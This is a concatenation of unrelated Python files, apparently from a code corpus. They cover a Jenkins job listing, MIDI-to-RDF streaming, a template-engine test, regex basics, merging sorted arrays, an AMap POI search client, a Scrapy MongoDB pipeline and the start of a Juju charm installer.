u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_LRC_ModuleTest_FBLRC1512/', u'color': u'yellow', u'name': u'MCU_Build_LRC_ModuleTest_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_ObjectModel_ModuleTests_LCP_FBLRC1512/', u'color': u'red', u'name': u'MCU_Build_ObjectModel_ModuleTests_LCP_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_ObjectModel_UnitTests_LCP_FBLRC1512/', u'color': u'yellow', u'name': u'MCU_Build_ObjectModel_UnitTests_LCP_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_ObjectModel_UnitTests_LSP_AXM_FBLRC1512/', u'color': u'blue', u'name': u'MCU_Build_ObjectModel_UnitTests_LSP_AXM_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_Promo_FBLRC1512/', u'color': u'blue', u'name': u'MCU_Build_Promo_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_Rel3_LRC_FBLRC1512/', u'color': u'blue', u'name': u'MCU_Build_Rel3_LRC_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_Rel3_LRC_LSP_FBLRC1512/', u'color': u'blue', u'name': u'MCU_Build_Rel3_LRC_LSP_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_Rel3_UnitTest_FBLRC1512/', u'color': u'blue', u'name': u'MCU_Build_Rel3_UnitTest_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_Rel3_UnitTest_Valgrind_FBLRC1512/', u'color': u'blue', u'name': u'MCU_Build_Rel3_UnitTest_Valgrind_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_Store_Libraries_FBLRC1512/', u'color': u'blue', u'name': u'MCU_Build_Store_Libraries_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_CI2RM_analyse_FBLRC1512/', u'color': u'disabled', u'name': u'PS_CI2RM_analyse_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_Release_Promo_FBLRC1512/', u'color': u'blue', u'name': u'PS_Release_Promo_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_Release_Promo_QUEUE_FBLRC1512/', u'color': u'red', u'name': u'PS_Release_Promo_QUEUE_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_ReleaseTest_DSP_LRC_FBLRC1512/', u'color': u'yellow', u'name': u'PS_ReleaseTest_DSP_LRC_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_ReleaseTest_LSP_Standalone_LRC_FBLRC1512/', u'color': u'red', u'name': u'PS_ReleaseTest_LSP_Standalone_LRC_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_ReleaseTest_MCU_LRC_FBLRC1512/', u'color': u'yellow', u'name': u'PS_ReleaseTest_MCU_LRC_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_ReleaseTest_RT_LRC_3G_FBLRC1512/', u'color': u'yellow', u'name': u'PS_ReleaseTest_RT_LRC_3G_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_ReleaseTest_RT_LRC_SET1_FBLRC1512/', u'color': u'blue', u'name': u'PS_ReleaseTest_RT_LRC_SET1_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_ReleaseTest_RT_LRC_SET2_FBLRC1512/', u'color': u'yellow', u'name': u'PS_ReleaseTest_RT_LRC_SET2_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_Report_Metrics_FBLRC1512/', u'color': u'notbuilt', u'name': u'PS_Report_Metrics_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_StartupTest_LRC_FBLRC1512/', u'color': u'blue', u'name': u'PS_StartupTest_LRC_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_Build_Kep_LRC_FBLRC1701/', u'color': u'blue', u'name': u'DSP_Build_Kep_LRC_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_Build_Promo_FBLRC1701/', u'color': u'blue', u'name': u'DSP_Build_Promo_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_Build_RT_FBLRC1701/', u'color': u'blue', u'name': u'DSP_Build_RT_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_Build_Store_Libraries_FBLRC1701/', u'color': u'blue', u'name': u'DSP_Build_Store_Libraries_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_QuickTest_RT_FBLRC1701/', u'color': u'disabled', u'name': u'DSP_QuickTest_RT_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_UnitTest_CCSRT_Valgrind_FBLRC1701/', u'color': u'blue', u'name': u'DSP_UnitTest_CCSRT_Valgrind_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_UnitTest_RT_FBLRC1701/', u'color': u'blue', u'name': u'DSP_UnitTest_RT_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/ECL_BASE_FBLRC1701/', u'color': u'blue', u'name': u'ECL_BASE_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/ECL_DSP_Update_FBLRC1701/', u'color': u'blue', u'name': u'ECL_DSP_Update_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/ECL_HWAPI_FBLRC1701/', u'color': u'blue', u'name': u'ECL_HWAPI_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/ECL_MCU_Update_FBLRC1701/', u'color': u'blue', u'name': u'ECL_MCU_Update_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_LRC_ModuleTest_FBLRC1701/', u'color': u'yellow', u'name': u'MCU_Build_LRC_ModuleTest_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_ObjectModel_ModuleTests_LCP_FBLRC1701/', u'color': u'red', u'name': u'MCU_Build_ObjectModel_ModuleTests_LCP_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_ObjectModel_UnitTests_LCP_FBLRC1701/', u'color': u'red', u'name': u'MCU_Build_ObjectModel_UnitTests_LCP_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_ObjectModel_UnitTests_LSP_AXM_FBLRC1701/', u'color': u'blue', u'name': u'MCU_Build_ObjectModel_UnitTests_LSP_AXM_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_Promo_FBLRC1701/', u'color': u'blue', u'name': u'MCU_Build_Promo_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_Rel3_LRC_FBLRC1701/', u'color': u'blue', u'name': u'MCU_Build_Rel3_LRC_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_Rel3_LRC_LSP_FBLRC1701/', u'color': u'blue', u'name': u'MCU_Build_Rel3_LRC_LSP_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_Rel3_UnitTest_FBLRC1701/', u'color': u'blue', u'name': u'MCU_Build_Rel3_UnitTest_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_Rel3_UnitTest_Valgrind_FBLRC1701/', u'color': u'blue', u'name': u'MCU_Build_Rel3_UnitTest_Valgrind_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_Store_Libraries_FBLRC1701/', u'color': u'blue', u'name': u'MCU_Build_Store_Libraries_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_CI2RM_analyse_FBLRC1701/', u'color': u'red', u'name': u'PS_CI2RM_analyse_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_Release_Promo_FBLRC1701/', u'color': u'blue', u'name': u'PS_Release_Promo_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_Release_Promo_QUEUE_FBLRC1701/', u'color': u'yellow', u'name': u'PS_Release_Promo_QUEUE_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_ReleaseTest_DSP_LRC_FBLRC1701/', u'color': u'yellow', u'name': u'PS_ReleaseTest_DSP_LRC_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_ReleaseTest_MCU_LRC_FBLRC1701/', u'color': u'yellow', u'name': u'PS_ReleaseTest_MCU_LRC_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_ReleaseTest_RT_LRC_3G_FBLRC1701/', u'color': u'yellow', u'name': u'PS_ReleaseTest_RT_LRC_3G_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_ReleaseTest_RT_LRC_SET1_FBLRC1701/', u'color': u'yellow', u'name': u'PS_ReleaseTest_RT_LRC_SET1_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_ReleaseTest_RT_LRC_SET2_FBLRC1701/', u'color': u'red', u'name': u'PS_ReleaseTest_RT_LRC_SET2_FBLRC1701'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_StartupTest_LRC_FBLRC1701/', u'color': u'blue', u'name': u'PS_StartupTest_LRC_FBLRC1701'}]
# FB1611list = [ i['name'] for i in lista if 'FBLRC1611' in i['name'] ]
# for i in FB1611list:
# if "Test" not in i:
# print i |
16,981 | e21617141cbe7615bcc5b55d74388f0f5458596f | #!/usr/bin/env python
# swmiditp-stream.py: Stream MIDI RDF triples
import mido
import uuid
from rdflib import Graph, Namespace, RDF, Literal, URIRef
from datetime import datetime
import time
import sys
# if len(sys.argv) < 2:
# print """\
# Usage: swmiditp-stream.py <midi input device>"""
# exit(1)
midi_inputs = mido.get_input_names()
sys.stderr.write("swmiditp-stream.py: Stream MIDI RDF triples\n")
sys.stderr.write("Instructions:\n")
sys.stderr.write("1. Type you MIDI input device from the list below and press enter\n")
sys.stderr.write("2. Play your MIDI instrument along\n")
sys.stderr.write("3. When done, press Ctrl-C and you'll get a MIDI pattern identifier\n")
sys.stderr.write("You can redirect the output to a .nt file, e.g. ./swmiditp-stream.py > myplay.nt\n")
sys.stderr.write("\n")
sys.stderr.write("Detected MIDI input devices:\n")
for i in range(len(midi_inputs)):
sys.stderr.write("[{}] {}".format(i, midi_inputs[i]))
sys.stderr.write('\n')
try:
mode = int(raw_input())
except ValueError:
print "Not a number"
exit(1)
# midi_input_device = sys.argv[1]
midi_input_device = midi_inputs[mode]
# initialize rdf graph
g = Graph()
# Namespaces
midi_r = Namespace("http://purl.org/midi-ld/")
midi = Namespace("http://purl.org/midi-ld/midi#")
prov = Namespace("http://www.w3.org/ns/prov#")
mo = Namespace("http://purl.org/ontology/mo/")
g.bind('midi-r', midi_r)
g.bind('midi', midi)
g.bind('prov', prov)
g.bind('mo', mo)
# Initialize pattern, track and event IDs
pattern_id = uuid.uuid4()
track_id = 0
event_id = 0
# time counter
start_time = time.time()
# Initialize the MIDI graph
piece = midi_r['pattern/' + str(pattern_id)]
g.add((piece, RDF.type, midi.Piece))
g.add((piece, midi.resolution, Literal(460)))
g.add((piece, midi['format'], Literal(1)))
# We'll set a single track (TODO: support more)
track = URIRef(piece + '/track' + str(track_id).zfill(2))
g.add((track, RDF.type, midi.Track))
g.add((piece, midi.hasTrack, track))
# Testing graph init stuff
# event_uri = midi_r["pattern/" + str(pattern_id) + "/" + 'track' + str(track_id).zfill(2) + '/event' + str(0).zfill(2)]
# g.add((track, midi.hasEvent, event_uri))
# g.add((event_uri, RDF.type, midi.SetTempoEvent))
# g.add((event_uri, midi.bpm, Literal(8.300007e+01)))
# g.add((event_uri, midi.mpqn, Literal(722891)))
# g.add((event_uri, midi.tick, Literal(0)))
#
# event_uri = midi_r["pattern/" + str(pattern_id) + "/" + 'track' + str(track_id).zfill(2) + '/event' + str(1).zfill(2)]
# g.add((track, midi.hasEvent, event_uri))
# g.add((event_uri, RDF.type, midi.TimeSignatureEvent))
# g.add((event_uri, midi.denominator, Literal(4)))
# g.add((event_uri, midi.metronome, Literal(96)))
# g.add((event_uri, midi.numerator, Literal(4)))
# g.add((event_uri, midi.thirtyseconds, Literal(8)))
# g.add((event_uri, midi.tick, Literal(0)))
#
# event_uri = midi_r["pattern/" + str(pattern_id) + "/" + 'track' + str(track_id).zfill(2) + '/event' + str(2).zfill(2)]
# g.add((track, midi.hasEvent, event_uri))
# g.add((event_uri, RDF.type, midi.ControlChangeEvent))
# g.add((event_uri, midi.channel, Literal(0)))
# g.add((event_uri, midi.control, Literal(101)))
# g.add((event_uri, midi.tick, Literal(0)))
# g.add((event_uri, midi.value, Literal(0)))
#
# event_uri = midi_r["pattern/" + str(pattern_id) + "/" + 'track' + str(track_id).zfill(2) + '/event' + str(3).zfill(2)]
# g.add((track, midi.hasEvent, event_uri))
# g.add((event_uri, RDF.type, midi.ProgramChangeEvent))
# g.add((event_uri, midi.channel, Literal(0)))
# g.add((event_uri, midi.tick, Literal(0)))
# g.add((event_uri, midi.program, URIRef("http://purl.org/midi-ld/programs/74")))
# event_uri = midi_r["pattern/" + str(pattern_id) + "/" + 'track' + str(track_id).zfill(2) + '/event' + str(2).zfill(2)]
# g.add((event_uri, midi.channel, Literal(0)))
# g.add((event_uri, midi.control, Literal(101)))
# g.add((event_uri, midi.tick, Literal(0)))
# g.add((event_uri, midi.value, Literal(0)))
# g.add((event_uri, RDF.type, midi.ControlChangeEvent))
# g.add((track, midi.hasEvent, event_uri))
# PROV info
# g.add((piece, prov.wasDerivedFrom, Literal(filename)))
agent = URIRef("https://github.com/midi-ld/midi2rdf")
entity_d = piece
entity_o = URIRef("http://purl.org/midi-ld/file/{}".format(pattern_id))
activity = URIRef(piece + "-activity")
g.add((agent, RDF.type, prov.Agent))
g.add((entity_d, RDF.type, prov.Entity))
g.add((entity_o, RDF.type, prov.Entity))
g.add((entity_o, RDF.type, midi.MIDIFile))
g.add((entity_o, midi.path, Literal(pattern_id)))
g.add((activity, RDF.type, prov.Activity))
g.add((entity_d, prov.wasGeneratedBy, activity))
g.add((entity_d, prov.wasAttributedTo, agent))
g.add((entity_d, prov.wasDerivedFrom, entity_o))
g.add((activity, prov.wasAssociatedWith, agent))
g.add((activity, prov.startedAtTime, Literal(datetime.now())))
g.add((activity, prov.used, entity_o))
print g.serialize(format='nt')
try:
with mido.open_input(midi_input_device) as port:
for msg in port:
sg = Graph()
status = None
if msg.type == "note_on":
status = "NoteOnEvent"
elif msg.type == "note_off":
status = "NoteOffEvent"
else:
print "BIG ERROR, unexpected event type {}".format(msg.type)
pitch = msg.bytes()[1]
velocity = msg.bytes()[2]
channel = 0
#print status, pitch, velocity, channel, timestamp
# Creating triples!
event_uri = midi_r["pattern/" + str(pattern_id) + "/" + 'track' + str(track_id).zfill(2) + '/event' + str(event_id).zfill(4)]
sg.add((track, midi.hasEvent, event_uri))
sg.add((event_uri, RDF.type, midi[status]))
sg.add((event_uri, midi.tick, Literal(int((time.time() - start_time)*1000))))
start_time = time.time()
sg.add((event_uri, midi.channel, Literal(channel)))
sg.add((event_uri, midi.note, URIRef('http://purl.org/midi-ld/notes/{}'.format(pitch))))
sg.add((event_uri, midi.velocity, Literal(velocity)))
print sg.serialize(format='nt')
# Merge sg with main graph
g = g + sg
event_id += 1
except KeyboardInterrupt:
# Add end of track event
event_id += 1
event_uri = midi_r["pattern/" + str(pattern_id) + "/" + 'track' + str(track_id).zfill(2) + '/event' + str(event_id).zfill(4)]
eg = Graph()
eg.add((track, midi.hasEvent, event_uri))
eg.add((event_uri, RDF.type, midi.EndOfTrackEvent))
eg.add((event_uri, midi.tick, Literal(0)))
print eg.serialize(format='nt')
g = g + eg
# Add metadata
m = Graph()
performance_uri = piece # The MIDI URI
musical_work_uri = None # The URI of which this MIDI is a performance of
composition_uri = None # The URI of the composition from which the work was produced
composer_uri = None # The URI of the original artist who composed the work
performer_uri = None # THe URI of the music artist that did the performance
sys.stderr.write("Metadata info\n")
sys.stderr.write("The URI of your performance is:\n")
sys.stderr.write(URIRef(performance_uri))
sys.stderr.write("\n")
sys.stderr.write("What is the URI of the musical work of which this MIDI is a performance of? (e.g. https://musicbrainz.org/work/eac0d507-46ed-3ed7-80d5-e4ac31719221)\n")
musical_work_uri = URIRef(raw_input())
sys.stderr.write("What is the URI of the composition from which the musical work was produced? (e.g. http://dbpedia.org/resource/Hey_Jude)\n")
composition_uri = URIRef(raw_input())
sys.stderr.write("What is the URI of the composer of the work? (e.g. http://dbpedia.org/resource/The_Beatles)\n")
composer_uri = URIRef(raw_input())
sys.stderr.write("What is the URI that identifies you as the artist that performed the work? (e.g. http://example.org/foaf.rdf)\n")
performer_uri = URIRef(raw_input())
sys.stderr.write("\n")
m.add((piece, RDF.type, mo.Performance))
m.add((piece, mo.performance_of, musical_work_uri))
m.add((musical_work_uri, RDF.type, mo.MusicalWork))
m.add((composition_uri, RDF.type, mo.Composition))
m.add((composition_uri, mo.produced_work, musical_work_uri))
m.add((composition_uri, mo.composer, composer_uri))
m.add((composer_uri, RDF.type, mo.MusicArtist))
m.add((piece, mo.performer, performer_uri))
m.add((performer_uri, RDF.type, mo.MusicArtist))
print m.serialize(format='nt')
g = g + m
exit(0)
# print "Here is your RDF graph!"
# print len(g)
# for s,p,o in g.triples((None, None, None)):
# print s,p,o
# with open('out.ttl', 'w') as outfile:
# outfile.write(g.serialize(format='turtle'))
|
16,982 | 81caf113515dbe621cffe174b55f79365383cb31 | import os
from nose.tools import eq_
from moban.plugins import BaseEngine
from moban.jinja2.engine import Engine
from moban.jinja2.extensions import jinja_global
def test_globals():
output = "globals.txt"
test_dict = dict(hello="world")
jinja_global("test", test_dict)
path = os.path.join("tests", "fixtures", "globals")
engine = BaseEngine([path], path, Engine)
engine.render_to_file("basic.template", "basic.yml", output)
with open(output, "r") as output_file:
content = output_file.read()
eq_(content, "world\n\ntest")
os.unlink(output)
|
16,983 | e0a59c127a31ae9daba88fc92687e7cde6081a2a | import re
message = "some message having 123-555-999 nummbers. Call 111-333-111"
# regex basics till line 20
# we pass raw string to compile()
# call re.compile() function to create regex object
phoneregex = re.compile(r'\d\d\d-\d\d\d-\d\d\d')
# d for digit
match_object = phoneregex.search(message)
# search() creates a match object as the name depicts
print(match_object.group())
# group method to get matched string
# it returns the digits above which is so cool
# now this method of search() returns the first occurance, we need more.
print(phoneregex.findall('Here goes my number 555-999-111 and 999-000-777'))
# returns all the occurances found in a string in a list
|
16,984 | 775772f39a66096d7ffdb3834eda548747bae865 | import unittest
from queue import PriorityQueue
def mergeSortedArrays(arrays):
mapArrayIdToRunningIdx = {}
ans = []
for i in range(0, len(arrays)):
mapArrayIdToRunningIdx[i] = 0
# insert initial values into funnel
# Each element in funnel is in type (value, currRunningIdx, arrayId)
funnel = PriorityQueue()
for i in range(0, len(arrays)):
funnel.put((arrays[i][0], mapArrayIdToRunningIdx[i], i))
while not funnel.empty():
currElement = funnel.get()
currValueToAdd = currElement[0]
currRunningIdx = currElement[1]
arrayId = currElement[2]
ans.append(currValueToAdd)
nextIdx = currRunningIdx + 1
if (nextIdx < len(arrays[arrayId])):
mapArrayIdToRunningIdx[arrayId] = nextIdx
funnel.put((arrays[arrayId][nextIdx], nextIdx, arrayId))
return ans
class TestProgram(unittest.TestCase):
def test_case_1(self):
arrays = [
[1, 5, 9, 21],
[-1, 0],
[-124, 81, 121],
[3, 6, 12, 20, 150],
]
output = mergeSortedArrays(arrays)
self.assertEqual(output, [-124, -1, 0, 1, 3, 5, 6, 9, 12, 20, 21, 81, 121, 150])
if __name__ == '__main__':
unittest.main() |
16,985 | 748b61f6eabf347820c4015e19f605eeb2968ba3 | """
@COMPANY WHALE
@AUTHOR ChenZhou
@DESC This is the realization of POI Searcher using AMap API.
@DATE 2019/09
"""
import requests
import time
import random
import math
import json
import logging
import pandas as pd
class POISearcher:
# for selected <types> please refer to <coderef/amap_poicode.xlsx>, seperated by <'|'>
def __init__(self, url, key, callback='', signtr='', output='JSON', offset = 50, top = -1, \
children = 0, max_retry = 10, types = '', city = 'ๆญๅท', extensions = 'all', citylimit = 'true',\
field=['id', 'name', 'type', 'typecode', 'address', 'location', 'pcode', 'pname', 'citycode', \
'cityname', 'adcode', 'adname', 'business_area', 'timestamp', 'biz_ext'],\
typefilter = []):
self.api_url = url
self.param_dic = {
"sig": signtr,
"callback": callback,
"output": output,
"key": key,
"offset": offset,
"types": types,
"children": children,
"extensions": extensions,
"city": city,
"citylimit": citylimit
}
self.top = top
self.status = False
self.max_retry = max_retry
self.result = []
self.tunnel = []
self.field = field
self.typefilter = typefilter
logging.basicConfig(format='%(asctime)s-[%(levelname)s]: %(message)s',
level=logging.INFO)
logging.info("\n\
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-\n\
-*-*-*-*-*- POI Searcher Created! -*-*-*-*-*-\n\
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-")
def initialTest(self):
self.param_dic["keywords"] = "้ป้พไธ็ง"
self.param_dic["city"] = "ๆญๅท"
self.param_dic["types"] = ""
self.param_dic["page"] = "1"
r = requests.get(self.api_url, params = self.param_dic)
if r.status_code == 200:
logging.info("============ API Test Success! ==========")
logging.info(r.text)
self.status = True
else:
logging.warning("***** API Test Failed! Please Try Again! *****")
self.status = False
def singleRequest(self):
try:
r = requests.get(self.api_url, params = self.param_dic)
except:
self.status = False
finally:
if r.status_code == 200:
return r.text
else:
self.status = False
result = ""
retry = 1
time.sleep(random.random())
while(not self.status):
logging.warning("***** API Retrying...... *****")
r = requests.get(self.api_url, params = self.param_dic)
if r.status_code == 200:
self.status = True
result = r.text
break
retry += 1
if retry >= self.max_retry:
logging.warning("***** Retry Exceeding Maximum! *****")
break
time.sleep(random.random())
return result
def buildFieldDic(self, dic):
field_dic = {}
for f in self.field:
if f != 'biz_ext':
if f in dic.keys():
field_dic[f] = dic[f]
else:
field_dic[f] = ''
else:
if f in dic.keys():
field_dic[f] = dic[f]
else:
field_dic[f] = {}
return field_dic
def checkerFieldDic(self, dic, mapping = {'address':'formatted_address',\
'pname':'province',\
'citycode':'citycode',\
'cityname':'city',\
'adcode':'adcode',\
'adname':'district',\
'location':'location'}):
new_dic = {}
for f in self.field:
if f in mapping.keys():
try:
new_dic[f] = dic[mapping[f]]
except:
pass
return new_dic
def jsonParser(self, json_str):
if json_str == "":
logging.warning("***** None Parsed! *****")
return -1
try:
json_struct = json.loads(json_str)
try:
if json_struct["status"] == "1":
potential = json_struct["pois"]
for p in potential:
for code in p['typecode'].split('|'):
if code not in self.typefilter:
pp = self.buildFieldDic(p)
self.tunnel.append(pp)
break
return len(self.tunnel)
else:
logging.error(json_struct["infocode"] + json_struct["info"])
return -4
except:
logging.error("***** Request Error! *****")
return -3
except:
logging.error("***** Parsing Error! *****")
return -2
def infoExtract(self, kw_list, ct_list, types, top, inspector = None, addr_list = None): # inspector can be GeoCoder
retry = 0
while(not self.status):
self.initialTest()
retry += 1
time.sleep(random.random())
if retry >= self.max_retry:
logging.warning("***** Retry Exceeding Maximum! *****")
return -2
self.result = [] # initialize new storage
self.top = top
logging.info("============> Start POI Searcher! ===========>")
for kw_idx in range(len(kw_list)):
drain_flag = True
page = 0
kw_poi_now = []
self.param_dic["keywords"] = kw_list[kw_idx]
self.param_dic["city"] = ct_list[kw_idx]
self.param_dic["types"] = types
while(drain_flag):
page += 1
self.param_dic["page"] = str(page)
logging.info("---> Pulling Page: " + str(page) + " <---")
result = self.singleRequest()
if self.jsonParser(result) > 0:
if self.top > 1:
kw_poi_now.extend(self.tunnel[:(self.top-len(kw_poi_now))])
elif self.top == 1: # check the closest one
inspector.infoExtract([addr_list[kw_idx]], [ct_list[kw_idx]], False)
try:
checker = inspector.result[0]
best = self.tunnel[0]
min_dist = self.distLonLat(best['location'], checker['location'])
if min_dist <= 0.5:
pass
else:
for candidate in self.tunnel:
tmp_dist = self.distLonLat(candidate['location'], checker['location'])
print(candidate, checker, tmp_dist)
if tmp_dist < min_dist:
best = candidate
min_dist = tmp_dist
if min_dist <= 2:
kw_poi_now.extend([best])
else:
kw_poi_now.extend([self.checkerFieldDic(checker)])
except:
kw_poi_now.extend(self.tunnel[:1])
else:
kw_poi_now.extend(self.tunnel)
else:
logging.warning("***** Parsing Keywords Num " + str(kw_idx) + " Page:" + str(page) + " Failed!")
logging.warning("***** Drained Keywords " + kw_list[kw_idx] + " Page:" + str(page) + " !")
drain_flag = False
self.tunnel = []
if (self.top > 0 and len(kw_poi_now) >= self.top) or page > 100:
break
if self.top == 1 and len(kw_poi_now) < 1:
kw_poi_now.extend([{}])
self.result.extend(kw_poi_now)
self.flattingResult()
logging.info("##### Total Get Result: " + str(len(self.result)) + " #####")
try:
logging.info(self.result[0])
except:
pass
logging.info("<============ POI Searching Finished <===========")
return 0
def flattingResult(self, flat_key={'biz_ext':['rating','cost']}):
for r in self.result:
for f in flat_key.keys():
if f in r.keys():
tmp = r[f]
for tk in tmp.keys():
if tk in flat_key[f]:
r[tk] = tmp[tk]
r.pop(f)
def distLonLat(self, lonlat1, lonlat2):
ll1 = lonlat1.split(',')
lon1 = float(ll1[0])/180*math.pi
lat1 = float(ll1[1])/180*math.pi
ll2 = lonlat2.split(',')
lon2 = float(ll2[0])/180*math.pi
lat2 = float(ll2[1])/180*math.pi
R = 6371
d = R * math.acos(math.cos(lat1)*math.cos(lat2)*math.cos(lon1-lon2)+math.sin(lat1)*math.sin(lat2))
return d
if __name__ == "__main__":
api_url = "https://restapi.amap.com/v3/place/text"
api_key = "Classified. You can obtain one on AMap Website as an Enterprise."
extractor = POISearcher(api_url, api_key)
extractor.initialTest()
kw_list = [""]
ct_list = ["ๆด้ณ"]
types = "061400"
top = -1
extractor.typefilter = ['060301',\
'060302',\
'060303',\
'060304',\
'060305',\
'060306',\
'060307',\
'060308',\
'060500',\
'060501',\
'060502',\
'060600',\
'060601',\
'060602',\
'060603',\
'060604',\
'060605',\
'060606',\
'060701',\
'060702',\
'060705',\
'060706',\
'060800',\
'060900',\
'060901',\
'060902',\
'060903',\
'060904',\
'060905',\
'060906',\
'060907',\
'061000',\
'061001',\
'061100',\
'061101',\
'061102',\
'061103',\
'061104',\
'061201',\
'061202',\
'061203',\
'061204',\
'061205',\
'061206',\
'061207',\
'061208',\
'061209',\
'061211',\
'061212',\
'061213',\
'061214',\
'061300',\
'061301',\
'061302'
]
extractor.infoExtract(kw_list, ct_list, types, top)
import file_reader as fr
field=['id', 'name', 'type', 'typecode', 'address', 'location', 'pcode', 'pname', 'citycode', \
'cityname', 'adcode', 'adname', 'business_area', 'timestamp', 'rating', 'cost']
structured_data = fr.genStructuredData(extractor.result, field)
new_filename = 'data/geo_code_1400_basic.xlsx'
fr.writeAddressFile(structured_data, new_filename) |
16,986 | faaa1b07b44070f3e5c8175405f6bc8573fb0bd1 | # -*- coding: utf-8 -*-
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html
import pymongo
from scrapy.conf import settings
#
#
class XiciPipeline(object):
def __init__(self):
host=settings['MONGO_HOST']
port=settings['MONGO_PORT']
database=settings['MONGO_DBNAME']
sheetname=settings['MONGO_SHEETNAME']
client=pymongo.MongoClient(host=host,port=port)
db=client[database]
self.sheet=db[sheetname]
def process_item(self, item, spider):
data=dict(item)
self.sheet.insert(data)
# return item
# import json
# class XiciPipeline(object):
# def __init__(self):
# self.f=open('xici,json','wb')
# def process_item(self,item,spider):
# text=json.dumps(dict(item),ensure_ascii=False)+',\n'
# self.f.write(text.encode('utf-8'))
# def close_spider(self,spider):
# self.f.close()
|
16,987 | 9fd995fd14453695686b6206a340801ca2772611 | #!/usr/bin/python
import os
import sys
import subprocess
import json
sys.path.insert(0, os.path.join(os.environ['CHARM_DIR'], 'lib'))
from charmhelpers.core import (
hookenv,
host,
)
hooks = hookenv.Hooks()
log = hookenv.log
SERVICE = 'gluu-server'
RIPO = 'http://repo.gluu.org/GLUU/ubuntu/pool/gluu/Gluu-CE-Repo-1.9-0.amd64.deb'
MASTER = 'https://github.com/GluuFederation/community-edition-setup/archive/master.zip'
NTV = 8
#run any command
def run(command, exit_on_error=True, cwd=None):
try:
log(command)
return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True, cwd=cwd)
except subprocess.CalledProcessError, e:
log("status=%d, output=%s" % (e.returncode, e.output))
if exit_on_error:
sys.exit(e.returncode)
else:
raise
def unit_public_ip():
this_host = run("unit-get public-address")
return this_host.strip()
def get_template(template_name):
return os.path.join(hookenv.charm_dir(), "templates", template_name)
#render a file using template and writes it
def process_template(template_name, template_vars, destination):
tmpl_file_path = get_template(template_name)
with open(tmpl_file_path,'r') as fp:
tmpl = fp.read()
with open(destination, 'w') as inject_tmpl:
inject_tmpl.write(tmpl.format(**template_vars))
@hooks.hook('install')
def install():
log('Installing gluu-server...')
run('wget {} -P /tmp'.format(RIPO))
deb = RIPO.rsplit('/',1)[1]
run('dpkg -i /tmp/{}'.format(deb))
run('apt-get update')
run('apt-get -y --force-yes install gluu-server')
host.service_start(SERVICE)
#download setup script
